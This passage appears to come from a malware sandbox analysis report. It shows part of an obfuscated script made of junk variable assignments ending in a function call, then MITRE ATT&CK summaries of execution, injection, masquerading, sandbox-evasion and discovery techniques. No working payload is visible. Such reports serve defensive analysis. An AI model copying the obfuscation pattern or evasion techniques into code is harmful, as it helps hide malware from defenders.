267	hogex = "I";
268	hogex = "K";
269	hogex = "r";
270	hogex = "V";
271	hogex = "B";
272	hogex = "N";
273	hogex = "j";
274	hogex = "A";
275	hogex = "V";
276	hogex = "O";
277	hogex = "N";
278	hogex = "k";
279	vrsflwl = "B";
280	vrsflwl = "c";
281	vrsflwl = "C";
282	vrsflwl = "h";
283	vrsflwl = "L";
284	vrsflwl = "u";
285	vrsflwl = "l";
286	vrsflwl = "V";
287	vrsflwl = "P";
288	vrsflwl = "u";
289	vrsflwl = "H";
290	vrsflwl = "t";
291	uunbqpdu = "s";
292	uunbqpdu = "z";
293	uunbqpdu = "e";
294	uunbqpdu = "X";
295	uunbqpdu = "k";
296	uunbqpdu = "L";
297	uunbqpdu = "P";
298	uunbqpdu = "H";
299	uunbqpdu = "O";
300	uunbqpdu = "O";
301	ynieb = "y";
302	ynieb = "f";
303	isuyjhlu = "c";
304	isuyjhlu = "b";
305	isuyjhlu = "M";
306	isuyjhlu = "V";
307	isuyjhlu = "y";
308	isuyjhlu = "D";
309	isuyjhlu = "Q";
310	isuyjhlu = "R";
311	isuyjhlu = "a";
312	isuyjhlu = "M";
313	isuyjhlu = "n";
314	isuyjhlu = "t";
315	isuyjhlu = "X";
316	isuyjhlu = "S";
317	isuyjhlu = "i";
318	isuyjhlu = "G";
319	isuyjhlu = "g";
320	isuyjhlu = "u";
321	isuyjhlu = "\"";
322	yrdxj = "T";
323	yrdxj = "C";
324	yrdxj = "P";
325	yrdxj = "V";
326	yrdxj = "D";
327	yrdxj = "K";
328	yrdxj = "d";
329	yrdxj = "i";
330	yrdxj = "w";
331	yrdxj = "P";
332	yrdxj = "V";
333	yrdxj = "n";
334	yrdxj = "n";
335	oatqj = "T";
336	tndyy = "I";
337	tndyy = "I";
338	tndyy = "k";
339	tndyy = "Y";
340	tndyy = "m";
341	tndyy = "F";
342	tndyy = "Q";
343	tndyy = "N";
344	tndyy = "U";
345	tndyy = "C";
346	tndyy = "x";
347	tndyy = "S";
348	tndyy = "R";
349	tndyy = "J";
350	tndyy = "t";
351	tndyy = "V";
352	tndyy = "z";
353	tndyy = "Z";
354	tndyy = "U";
355	tndyy = "x";
356	tndyy = "z";
357	tndyy = "u";
358	tndyy = "F";
359	tndyy = "U";
360	tndyy = "y";
361	tndyy = "q";
362	tndyy = "F";
363	tndyy = "o";
364	tndyy = "A";
365	tndyy = "H";
366	tndyy = "t";
367	tndyy = "y";
368	tndyy = "n";
369	tndyy = "6";
370	bxqivwqvu = "u";
371	bxqivwqvu = "z";
372	bxqivwqvu = "o";
373	bxqivwqvu = "T";
374	bxqivwqvu = "R";
375	bxqivwqvu = "Q";
376	bxqivwqvu = "L";
377	bxqivwqvu = "N";
378	bxqivwqvu = "t";
379	bxqivwqvu = "W";
380	bxqivwqvu = "B";
381	bxqivwqvu = "E";
382	bxqivwqvu = "I";
383	bxqivwqvu = "J";
384	bxqivwqvu = "h";
385	bxqivwqvu = "Q";
386	bxqivwqvu = "u";
387	bxqivwqvu = "S";
388	bxqivwqvu = "V";
389	bxqivwqvu = "J";
390	bxqivwqvu = "N";
391	bxqivwqvu = "_";
392	eoqektw = "v";
393	eoqektw = "L";
394	eoqektw = "w";
395	eoqektw = "B";
396	eoqektw = "Q";
397	eoqektw = "T";
398	eoqektw = "N";
399	eoqektw = "Y";
400	eoqektw = "b";
401	eoqektw = "o";
402	eoqektw = "c";
403	eoqektw = "B";
404	eoqektw = "X";
405	eoqektw = "U";
406	eoqektw = "r";
407	eoqektw = "K";
408	eoqektw = "i";
409	eoqektw = "g";
410	eoqektw = "O";
411	eoqektw = "L";
412	eoqektw = "P";
413	eoqektw = "e";
414	voagm = "Z";
415	voagm = "F";
416	voagm = "v";
417	voagm = "P";
418	voagm = "R";
419	uropkftd = "A";
420	uropkftd = "Y";
421	uropkftd = "V";
422	uropkftd = "B";
423	uropkftd = "Z";
424	uropkftd = "k";
425	uropkftd = "V";
426	uropkftd = "a";
427	uropkftd = "I";
428	uropkftd = "z";
429	uropkftd = "Q";
430	uropkftd = "g";
431	uropkftd = "u";
432	uropkftd = "W";
433	uropkftd = "c";
434	uropkftd = "K";
435	uropkftd = "Z";
436	uropkftd = "h";
437	uropkftd = "I";
438	uropkftd = "A";
439	uropkftd = "h";
440	uropkftd = "J";
441	uropkftd = "P";
442	uropkftd = "A";
443	uropkftd = "r";
444	uropkftd = "a";
445	uropkftd = "x";
446	uropkftd = "z";
447	uropkftd = "h";
448	uropkftd = "Y";
449	uropkftd = "X";
450	uropkftd = "N";
451	uropkftd = "Q";
452	uropkftd = "e";
453	uropkftd = "w";
454	uropkftd = "S";
455	hwllmb = "E";
456	hwllmb = "o";
457	hwllmb = "n";
458	hwllmb = "m";
459	hwllmb = "l";
460	hwllmb = "j";
461	hwllmb = "P";
462	hwllmb = "o";
463	hwllmb = "r";
464	hwllmb = "b";
465	hwllmb = "I";
466	hwllmb = "l";
467	hwllmb = "N";
468	hwllmb = "U";
469	hwllmb = "l";
470	hwllmb = "l";
471	hwllmb = "Z";
472	hwllmb = "s";
473	hwllmb = "l";
474	hwllmb = "t";
475	hwllmb = "X";
476	hwllmb = "E";
477	hwllmb = "D";
478	hwllmb = "g";
479	jicom = "o";
480	jicom = "Z";
481	jicom = "a";
482	jicom = "t";
483	jicom = "W";
484	jicom = "c";
485	jicom = "Y";
486	jicom = "Z";
487	jicom = "x";
488	gjowf = "X";
489	gjowf = "l";
490	gjowf = "B";
491	gjowf = "h";
492	gjowf = "l";
493	gjowf = "j";
494	gjowf = "f";
495	gjowf = "D";
496	gjowf = "C";
497	gjowf = " ";
498	itycy = "r";
499	itycy = "C";
500	itycy = "Q";
501	itycy = "P";
502	itycy = "D";
503	itycy = "K";
504	itycy = "y";
505	itycy = "q";
506	itycy = "l";
507	itycy = "q";
508	itycy = "u";
509	itycy = "R";
510	itycy = "i";
511	itycy = "W";
512	itycy = "w";
513	itycy = "d";
514	itycy = "J";
515	itycy = "c";
516	itycy = "i";
517	itycy = "U";
518	itycy = "t";
519	itycy = "t";
520	itycy = "D";
521	itycy = "t";
522	itycy = "O";
523	itycy = "o";
524	itycy = "q";
525	itycy = "Y";
526	itycy = "b";
527	itycy = "x";
528	itycy = "t";
529	itycy = "P";
530	itycy = "e";
531	itycy = "O";
532	itycy = "Z";
533	itycy = "j";
534	itycy = "n";
535	itycy = "R";
536	itycy = "p";
537	itycy = "l";
538	itycy = "O";
539	itycy = "T";
540	itycy = "c";
541	itycy = "U";
542	ofbhdbk = "Q";
543	ofbhdbk = "K";
544	ofbhdbk = "s";
545	ofbhdbk = "K";
546	ofbhdbk = "J";
547	ofbhdbk = "d";
548	ofbhdbk = "S";
549	ofbhdbk = "g";
550	ofbhdbk = "C";
551	ofbhdbk = "Z";
552	ofbhdbk = "l";
553	ofbhdbk = "X";
554	ofbhdbk = "l";
555	ofbhdbk = "u";
556	ofbhdbk = "v";
557	ofbhdbk = "J";
558	ofbhdbk = "e";
559	ofbhdbk = "V";
560	ofbhdbk = "x";
561	ofbhdbk = "c";
562	ofbhdbk = "E";
563	ofbhdbk = "t";
564	ofbhdbk = "Q";
565	ofbhdbk = "z";
566	ofbhdbk = "q";
567	ofbhdbk = "a";
568	ofbhdbk = "J";
569	ofbhdbk = "R";
570	ofbhdbk = "E";
571	ofbhdbk = "L";
572	ofbhdbk = "Q";
573	ofbhdbk = "I";
574	ofbhdbk = "T";
575	ofbhdbk = "Q";
576	ofbhdbk = "y";
577	ofbhdbk = "\\";
578	zhlka = "U";
579	zhlka = "g";
580	zhlka = "F";
581	zhlka = "Y";
582	zhlka = "y";
583	zhlka = "K";
584	zhlka = "P";
585	zhlka = "p";
586	zhlka = "l";
587	zhlka = "E";
588	zhlka = "z";
589	zhlka = "u";
590	zhlka = "C";
591	zhlka = "V";
592	zhlka = "L";
593	zhlka = "N";
594	zhlka = "a";
595	zhlka = "u";
596	zhlka = "A";
597	zhlka = "H";
598	zhlka = "T";
599	zhlka = "o";
600	zhlka = "h";
601	zhlka = "z";
602	zhlka = "N";
603	zhlka = "f";
604	zhlka = "P";
605	zhlka = "e";
606	zhlka = "l";
607	zhlka = "y";
608	zhlka = "E";
609	zhlka = "l";
610	zhlka = "T";
611	zhlka = "b";
612	zhlka = ".";
613	dcrkrw = "s";
614	dcrkrw = "d";
615	dcrkrw = "n";
616	dcrkrw = "n";
617	dcrkrw = "Z";
618	dcrkrw = "T";
619	dcrkrw = "X";
620	dcrkrw = "f";
621	dcrkrw = "P";
622	dcrkrw = "%";
623	nwxxyyhjm = "9";
624	nybjijtvp = "d";
625	nybjijtvp = "j";
626	nybjijtvp = "q";
627	nybjijtvp = "A";
628	nybjijtvp = "M";
629	nybjijtvp = "q";
630	nybjijtvp = "f";
631	nybjijtvp = "P";
632	nybjijtvp = "N";
633	nybjijtvp = "a";
634	nybjijtvp = "D";
635	nybjijtvp = "C";
636	zajeh = "X";
637	zajeh = "c";
638	zajeh = "c";
639	zajeh = "y";
640	zajeh = "R";
641	zajeh = "l";
642	zajeh = "a";
643	zajeh = "l";
644	zajeh = "u";
645	zajeh = "x";
646	zajeh = "c";
647	zajeh = "N";
648	zajeh = "q";
649	zajeh = "f";
650	zajeh = "q";
651	zajeh = "n";
652	zajeh = "y";
653	zajeh = "E";
654	zajeh = "&";
655	bzibbhslj = "k";
656	bzibbhslj = "c";
657	bzibbhslj = "L";
658	bzibbhslj = "v";
659	bzibbhslj = "O";
660	bzibbhslj = "v";
661	bzibbhslj = "Y";
662	bzibbhslj = "N";
663	bzibbhslj = "G";
664	bzibbhslj = "f";
665	bzibbhslj = "n";
666	bzibbhslj = "C";
667	bzibbhslj = "l";
668	bzibbhslj = "z";
669	bzibbhslj = "d";
670	bzibbhslj = "a";
671	bzibbhslj = "d";
672	bzibbhslj = "w";
673	bzibbhslj = "b";
674	bzibbhslj = "W";
675	bzibbhslj = "L";
676	bzibbhslj = "x";
677	bzibbhslj = "y";
678	bzibbhslj = "o";
679	bzibbhslj = "K";
680	bzibbhslj = "u";
681	ledrayfl = "x";
682	ledrayfl = "d";
683	ledrayfl = "x";
684	ledrayfl = "g";
685	ledrayfl = "5";
686	tryaecmqk = "P";
687	tryaecmqk = "D";
688	tryaecmqk = "V";
689	tryaecmqk = "G";
690	tryaecmqk = "H";
691	tryaecmqk = "A";
692	tryaecmqk = "T";
693	tryaecmqk = "z";
694	tryaecmqk = "h";
695	tryaecmqk = "w";
696	tryaecmqk = "I";
697	tryaecmqk = "P";
698	tryaecmqk = "F";
699	tryaecmqk = "a";
700	tryaecmqk = "I";
701	tryaecmqk = "e";
702	tryaecmqk = "i";
703	epogoel = "m";
704	epogoel = "Z";
705	epogoel = "Q";
706	epogoel = "R";
707	epogoel = "y";
708	epogoel = "S";
709	epogoel = "U";
710	epogoel = "y";
711	epogoel = "L";
712	epogoel = "e";
713	epogoel = "m";
714	epogoel = "S";
715	epogoel = "f";
716	epogoel = "g";
717	epogoel = "C";
718	epogoel = "V";
719	epogoel = "M";
720	epogoel = "s";
721	epogoel = "S";
722	epogoel = "W";
723	epogoel = "H";
724	epogoel = "l";
725	epogoel = "R";
726	epogoel = "c";
727	epogoel = "B";
728	epogoel = "n";
729	epogoel = "f";
730	epogoel = "a";
731	epogoel = "H";
732	epogoel = "y";
733	epogoel = "G";
734	epogoel = "P";
735	epogoel = "b";
736	epogoel = "f";
737	epogoel = "d";
738	epogoel = "p";
739	epogoel = "w";
740	tewhpk = "s";
741	tewhpk = "t";
742	tewhpk = "a";
743	tewhpk = "J";
744	tewhpk = "m";
745	tewhpk = "s";
746	tewhpk = "j";
747	tewhpk = "M";
748	tewhpk = "E";
749	tewhpk = "C";
750	tewhpk = "J";
751	tewhpk = "B";
752	tewhpk = "k";
753	tewhpk = "B";
754	tewhpk = "i";
755	tewhpk = "j";
756	tewhpk = "V";
757	tewhpk = "u";
758	tewhpk = "D";
759	tewhpk = "r";
760	tewhpk = "E";
761	tewhpk = "O";
762	tewhpk = "N";
763	tewhpk = "E";
764	tewhpk = "N";
765	tewhpk = "k";
766	tewhpk = "f";
767	tewhpk = "x";
768	tewhpk = "t";
769	tewhpk = "O";
770	tewhpk = "Z";
771	tewhpk = "A";
772	tewhpk = "j";
773	tewhpk = "o";
774	tewhpk = "y";
775	tewhpk = "a";
776	kupnc = "R";
777	kupnc = "v";
778	kupnc = "L";
779	kupnc = "D";
780	kupnc = "J";
781	kupnc = "e";
782	kupnc = "t";
783	kupnc = "m";
784	kupnc = "L";
785	kupnc = "T";
786	kupnc = "7";
787	eknqa = "W";
788	eknqa = "k";
789	eknqa = "w";
790	eknqa = "e";
791	eknqa = "r";
792	eknqa = "Y";
793	eknqa = "t";
794	eknqa = "Q";
795	eknqa = "k";
796	eknqa = "i";
797	eknqa = "b";
798	eknqa = "C";
799	eknqa = "Q";
800	eknqa = "d";
801	eknqa = "q";
802	eknqa = "A";
803	eknqa = "C";
804	eknqa = "H";
805	eknqa = "G";
806	eknqa = "E";
807	eknqa = "V";
808	eknqa = "g";
809	eknqa = "k";
810	eknqa = "p";
811	eknqa = "H";
812	eknqa = "c";
813	eknqa = "k";
814	eknqa = "P";
815	eknqa = "U";
816	eknqa = "B";
817	eknqa = "T";
818	eknqa = "d";
819	eknqa = "P";
820	eknqa = "j";
821	eknqa = "u";
822	eknqa = "X";
823	eknqa = "A";
824	eknqa = "h";
825	ocndanc = "e";
826	ocndanc = "e";
827	ocndanc = "w";
828	ocndanc = "h";
829	ocndanc = "i";
830	ocndanc = "d";
831	ocndanc = "J";
832	ocndanc = "s";
833	ocndanc = "p";
834	laonhvew = "i";
835	laonhvew = "E";
836	laonhvew = "i";
837	laonhvew = "r";
838	laonhvew = "b";
839	laonhvew = "i";
840	laonhvew = "S";
841	laonhvew = "H";
842	laonhvew = "r";
843	bmgdyba = "J";
844	bmgdyba = "v";
845	bmgdyba = "j";
846	bmgdyba = "I";
847	bmgdyba = "C";
848	bmgdyba = "p";
849	bmgdyba = "g";
850	bmgdyba = "d";
851	bmgdyba = "A";
852	bmgdyba = "l";
853	bmgdyba = "O";
854	bmgdyba = "Z";
855	bmgdyba = "m";
856	ssxjh = "a";
857	ssxjh = "g";
858	ssxjh = "r";
859	ssxjh = "e";
860	ssxjh = "p";
861	ssxjh = "d";
862	ssxjh = "q";
863	ssxjh = "L";
864	ssxjh = "g";
865	ssxjh = "i";
866	ssxjh = "K";
867	ssxjh = "t";
868	ssxjh = "v";
869	ssxjh = "b";
870	ssxjh = "Q";
871	ssxjh = "O";
872	ssxjh = "w";
873	ssxjh = "x";
874	ssxjh = "O";
875	ssxjh = "w";
876	ssxjh = "v";
877	ssxjh = "J";
878	ssxjh = "F";
879	ssxjh = "I";
880	ssxjh = "R";
881	ssxjh = "s";
882	ssxjh = "R";
883	ssxjh = "x";
884	ssxjh = "E";
885	ssxjh = "y";
886	ssxjh = "s";
887	ssxjh = "m";
888	ssxjh = "T";
889	ssxjh = "E";
890	dxygghyay = "c";
891	dxygghyay = "e";
892	dxygghyay = "h";
893	dxygghyay = "M";
894	dxygghyay = "o";
895	dxygghyay = "S";
896	dxygghyay = "r";
897	dxygghyay = "T";
898	dxygghyay = "f";
899	dxygghyay = "O";
900	dxygghyay = "d";
901	dxygghyay = "J";
902	dxygghyay = "d";
903	dxygghyay = "w";
904	dxygghyay = "v";
905	dxygghyay = "U";
906	dxygghyay = "O";
907	dxygghyay = "@";
908	ozfvwxlep = "E";
909	ozfvwxlep = "L";
910	ozfvwxlep = "I";
911	ozfvwxlep = "Z";
912	ozfvwxlep = "Q";
913	ozfvwxlep = "H";
914	ozfvwxlep = "i";
915	ozfvwxlep = "w";
916	ozfvwxlep = "Q";
917	ozfvwxlep = "p";
918	ozfvwxlep = "L";
919	ozfvwxlep = "f";
920	ozfvwxlep = "p";
921	ozfvwxlep = "h";
922	ozfvwxlep = "x";
923	ozfvwxlep = "g";
924	ozfvwxlep = "W";
925	ozfvwxlep = "A";
926	ozfvwxlep = "N";
927	ozfvwxlep = "e";
928	ozfvwxlep = "r";
929	ozfvwxlep = "e";
930	ozfvwxlep = "c";
931	ozfvwxlep = "n";
932	ozfvwxlep = "C";
933	ozfvwxlep = "X";
934	ozfvwxlep = "H";
935	ozfvwxlep = "J";
936	ozfvwxlep = "U";
937	ozfvwxlep = "G";
938	ozfvwxlep = "A";
939	ozfvwxlep = "I";
940	ozfvwxlep = "k";
941	ozfvwxlep = "b";
942	xqxtxyi = "v";
943	xqxtxyi = "k";
944	xqxtxyi = "Z";
945	xqxtxyi = "j";
946	xqxtxyi = "c";
947	psdjc = "o";
948	psdjc = ":";
949	oyjja = "d";
950	oyjja = "A";
951	oyjja = "o";
952	oyjja = "T";
953	oyjja = "A";
954	oyjja = "V";
955	oyjja = "N";
956	oyjja = "q";
957	oyjja = "E";
958	oyjja = "W";
959	oyjja = "s";
960	oyjja = "p";
961	oyjja = "Z";
962	oyjja = "Y";
963	oyjja = "P";
964	oyjja = "D";
965	oyjja = "R";
966	oyjja = "h";
967	oyjja = "V";
968	oyjja = "w";
969	oyjja = "O";
970	oyjja = "O";
971	oyjja = "h";
972	oyjja = "D";
973	oyjja = "u";
974	oyjja = "P";
975	yqbnonrec = "o";
976	yqbnonrec = "W";
977	yqbnonrec = "b";
978	yqbnonrec = "l";
979	yqbnonrec = "g";
980	yqbnonrec = "m";
981	yqbnonrec = "t";
982	yqbnonrec = "u";
983	yqbnonrec = "D";
984	yqbnonrec = "w";
985	yqbnonrec = "K";
986	yqbnonrec = "p";
987	yqbnonrec = "U";
988	yqbnonrec = "/";
989	cbtpmfpcj = "e";
990	cbtpmfpcj = "p";
991	cbtpmfpcj = "x";
992	cbtpmfpcj = "w";
993	cbtpmfpcj = "U";
994	cbtpmfpcj = "W";
995	cbtpmfpcj = "x";
996	cbtpmfpcj = "W";
997	cbtpmfpcj = "g";
998	cbtpmfpcj = "d";
999	kwsiawxx = "T";
1000	kwsiawxx = "B";
1001	kwsiawxx = "E";
1002	kwsiawxx = "T";
1003	kwsiawxx = "l";
1004	kwsiawxx = "l";
1005	kwsiawxx = "v";
1006	kwsiawxx = "P";
1007	kwsiawxx = "o";
1008	kwsiawxx = "u";
1009	kwsiawxx = "a";
1010	kwsiawxx = "v";
1011	kwsiawxx = "P";
1012	kwsiawxx = "R";
1013	kwsiawxx = "v";
1014	kwsiawxx = "m";
1015	kwsiawxx = "Q";
1016	kwsiawxx = "B";
1017	kwsiawxx = "h";
1018	kwsiawxx = "u";
1019	kwsiawxx = "p";
1020	kwsiawxx = "G";
1021	kwsiawxx = "z";
1022	kwsiawxx = "t";
1023	kwsiawxx = "b";
1024	kwsiawxx = "r";
1025	kwsiawxx = "z";
1026	kwsiawxx = "O";
1027	kwsiawxx = "K";
1028	kwsiawxx = "z";
1029	kwsiawxx = "B";
1030	kwsiawxx = "L";
1031	kwsiawxx = "v";
1032	kwsiawxx = "e";
1033	kwsiawxx = "4";
1034	fhdfqryi = "o";
1035	fhdfqryi = "I";
1036	fhdfqryi = "O";
1037	fhdfqryi = "a";
1038	fhdfqryi = "1";
1039	vhzym = "f";
1040	vhzym = "H";
1041	vhzym = "v";
1042	vhzym = "V";
1043	vhzym = "l";
1044	vhzym = "x";
1045	vhzym = "Z";
1046	vhzym = "S";
1047	vhzym = "i";
1048	vhzym = "f";
1049	vhzym = "x";
1050	vhzym = "W";
1051	vhzym = "c";
1052	vhzym = "J";
1053	vhzym = "b";
1054	vhzym = "a";
1055	vhzym = "o";
1056	vhzym = "r";
1057	vhzym = "b";
1058	vhzym = "e";
1059	vhzym = "s";
1060	vhzym = "u";
1061	vhzym = "D";
1062	vhzym = "F";
1063	vhzym = "E";
1064	vhzym = "Z";
1065	vhzym = "u";
1066	vhzym = "A";
1067	vhzym = "R";
1068	vhzym = "e";
1069	vhzym = "p";
1070	vhzym = "M";
1071	vhzym = "e";
1072	vhzym = "q";
1073	vhzym = "X";
1074	vhzym = "h";
1075	vhzym = "a";
1076	vhzym = "d";
1077	vhzym = "K";
1078	vhzym = "x";
1079	vhzym = "q";
1080	vhzym = "U";
1081	vhzym = "s";
1082	inxrnsx = "e";
1083	inxrnsx = "U";
1084	inxrnsx = "n";
1085	inxrnsx = "P";
1086	inxrnsx = "z";
1087	inxrnsx = "r";
1088	inxrnsx = "z";
1089	inxrnsx = "E";
1090	inxrnsx = "l";
1091	inxrnsx = "p";
1092	inxrnsx = "t";
1093	inxrnsx = "h";
1094	inxrnsx = "e";
1095	inxrnsx = "w";
1096	inxrnsx = "r";
1097	inxrnsx = "B";
1098	inxrnsx = "Y";
1099	inxrnsx = "D";
1100	inxrnsx = "P";
1101	inxrnsx = "a";
1102	inxrnsx = "i";
1103	inxrnsx = "O";
1104	inxrnsx = "t";
1105	inxrnsx = "j";
1106	inxrnsx = "D";
1107	inxrnsx = "s";
1108	inxrnsx = "l";
1109	inxrnsx = "I";
1110	inxrnsx = "p";
1111	inxrnsx = "N";
1112	inxrnsx = "H";
1113	inxrnsx = "I";
1114	inxrnsx = "R";
1115	inxrnsx = "P";
1116	inxrnsx = "Q";
1117	axeytqfed = "w";
1118	axeytqfed = "v";
1119	axeytqfed = "i";
1120	axeytqfed = "P";
1121	axeytqfed = "B";
1122	axeytqfed = "B";
1123	axeytqfed = "O";
1124	axeytqfed = "e";
1125	axeytqfed = "Q";
1126	axeytqfed = "k";
1127	axeytqfed = "f";
1128	axeytqfed = "x";
1129	axeytqfed = "C";
1130	axeytqfed = "F";
1131	veemobwt = "Q";
1132	veemobwt = "h";
1133	veemobwt = "K";
1134	veemobwt = "G";
1135	veemobwt = "X";
1136	veemobwt = "m";
1137	veemobwt = "J";
1138	veemobwt = "u";
1139	veemobwt = "L";
1140	veemobwt = "X";
1141	veemobwt = "h";
1142	veemobwt = "E";
1143	veemobwt = "n";
1144	veemobwt = "n";
1145	veemobwt = "F";
1146	veemobwt = "Y";
1147	veemobwt = "W";
1148	ynedpywe = "a";
1149	ynedpywe = "R";
1150	ynedpywe = "W";
1151	ynedpywe = "N";
1152	ynedpywe = "n";
1153	ynedpywe = "Z";
1154	ynedpywe = "A";
1155	ynedpywe = "u";
1156	ynedpywe = "a";
1157	ynedpywe = "m";
1158	ynedpywe = "V";
1159	ynedpywe = "Q";
1160	ynedpywe = "a";
1161	ynedpywe = "o";
1162	ynedpywe = "v";
1163	ynedpywe = "y";
1164	ynedpywe = "k";
1165	ynedpywe = "x";
1166	ynedpywe = "w";
1167	ynedpywe = "s";
1168	ynedpywe = "G";
1169	ynedpywe = "L";
1170	ynedpywe = "F";
1171	ynedpywe = "l";
1172	ynedpywe = "T";
1173	ynedpywe = "S";
1174	ynedpywe = "h";
1175	ynedpywe = "u";
1176	ynedpywe = "w";
1177	ynedpywe = "X";
1178	ynedpywe = "B";
1179	ynedpywe = "y";
1180	ynedpywe = "Y";
1181	ynedpywe = "y";
1182	ynedpywe = "a";
1183	ynedpywe = "U";
1184	ynedpywe = "e";
1185	ynedpywe = "m";
1186	ynedpywe = "O";
1187	ynedpywe = "l";
1188	tclop = "G";
1189	tclop = "R";
1190	tclop = "q";
1191	rowoea = "a";
1192	rowoea = "S";
1193	rowoea = "J";
1194	rowoea = "h";
1195	rowoea = "b";
1196	rowoea = "S";
1197	rowoea = "p";
1198	rowoea = "n";
1199	rowoea = "O";
1200	rowoea = "m";
1201	rowoea = "n";
1202	rowoea = "e";
1203	rowoea = "I";
1204	rowoea = "t";
1205	rowoea = "N";
1206	rowoea = "p";
1207	rowoea = "t";
1208	rowoea = "Z";
1209	rowoea = "8";
1210	ihqjzib = "v";
1211	ihqjzib = "w";
1212	ihqjzib = "m";
1213	ihqjzib = "T";
1214	ihqjzib = "b";
1215	ihqjzib = "j";
1216	orqttbvub ( );	orqttbvub() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
